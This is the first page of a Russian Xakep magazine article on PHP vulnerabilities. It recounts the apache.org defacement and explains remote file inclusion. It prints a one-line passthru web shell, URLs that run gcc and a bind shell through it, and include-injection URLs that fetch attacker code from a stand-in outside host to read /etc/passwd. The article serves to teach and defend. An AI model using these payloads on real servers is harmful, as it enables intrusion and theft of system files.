Песнь о багах в PHP или админ в шкуре скрипт-кидди Как обезопасить свой сервер с PHP

Loh Matov (blabl@7350.org)

Xakep, номер #050, стр. 050-066-1


Ты хочешь знать, как был взломан небезызвестный apache.org? Хотел хоть раз побывать в шкуре скипт-киддисов и понять, каким местом они думают? Или хочешь узнать, как защититься от тех самых скрипт-кидди? Тогда эта статья однозначно для тебя. Наверное, слышал, что знаменитый apache.org (веб-сайт команды разработчиков, чей веб-сервер один из самых распространенных в мире) в 2000 году подвергся хакерской атаке, и был произведен дефейс главной страницы сайта. Логотип "Powered by Apache" был заменен "Powered by Microsoft BackOffice". Как же хакерам удалось проломить защиту сайта? Все банально, исследовав фтп-сервер сайта, хакеры наткнулись на директорию, к которой можно было обращаться еще и по вебу. Они сформировали простой скрипт на PHP:

<?

passthru($cmd);

?>

Это дает возможность исполнять команды с привилегиями веб-сервера. Далее они залили на фтп биндшелл, и с помощью этого скрипта скомпилировали и запустили:

http://www.apache.org/thatdir/wuh.php3?cmd=gcc+-o+httpd+httpd.c

http://www.apache.org/thatdir/wuh.php3?cmd=./httpd

Вдаваться в подробности, как был получен рут-доступ, не будем. Скажем лишь, что это было сделано через mysql. Нас интересует, что можно было сделать через простой пхп-скрипт.

Когда-то, года два или три назад, пхп был не так распространен, как сейчас. Скрипты писали в домашних условиях (hand-made ;)), не было команд разработчиков типа phpBB etc., соответственно скрипты содержали немало ошибок, позволяющих исполнять команды вроде функций:

system($cmd);

passthru($cmd);

В наше время такие ошибки встречаются крайне редко, но встречаются. Сейчас появилось множество других приятных багов. Я же расскажу о самых распространенных из них.

Рассмотрим функции: include(), include_once(), require(), require_once(). Все они парсятся fopen врапером, и если в конфиг-файле PHP на веб-сервере разрешено открытие удаленных файлов (а это разрешено по умолчанию), то мы можем совершить некий трюк. А именно - включить в файл свой кусок кода типа <?system("cat /etc/passwd");?>, и он будет исполнен. Во многих скриптах, которые ты можешь скачивать с веба для своей домашней страницы, присутствует такая ошибка:

<?

...

include($file);

?>

Если переменная $file не определена до этого куска кода, то ты попал ;). Тебя обязательно похакают, а сделают это так:

http://your.home.page/thisfile.php?file=http://vrag.hosted.here/1.php

Дело в том, что если переменная не инициализирована, то ее можно передать как параметр к скрипту. Разумеется, если это предусмотрено конфигом пхп, а это, опять же, предусмотрено по умолчанию. В данном случае в твой уязвимый скрипт включается кусок кода с совершенно другого сервера. Файл 1.php содержит в себе строчку <?system("cat /etc/passwd");?>, которая покажет /etc/passwd с твоего серванта. Та же самая ошибка получится и в том случае, если в твоем скрипте несколько другой код, типа:

<?

...

include("$file.php");

?>

Хаксор просто вызовет строчку по-другому: http://your.home.page/thisfile.php?file=http://vrag.hosted.here/1. А файл на его сервере будет называться точно так же - 1.php, тогда параметр "file", передаваемый скрипту, будет подставлен в твой скрипт, и он будет выглядеть так:

Содержание  Вперед на стр. 050-066-2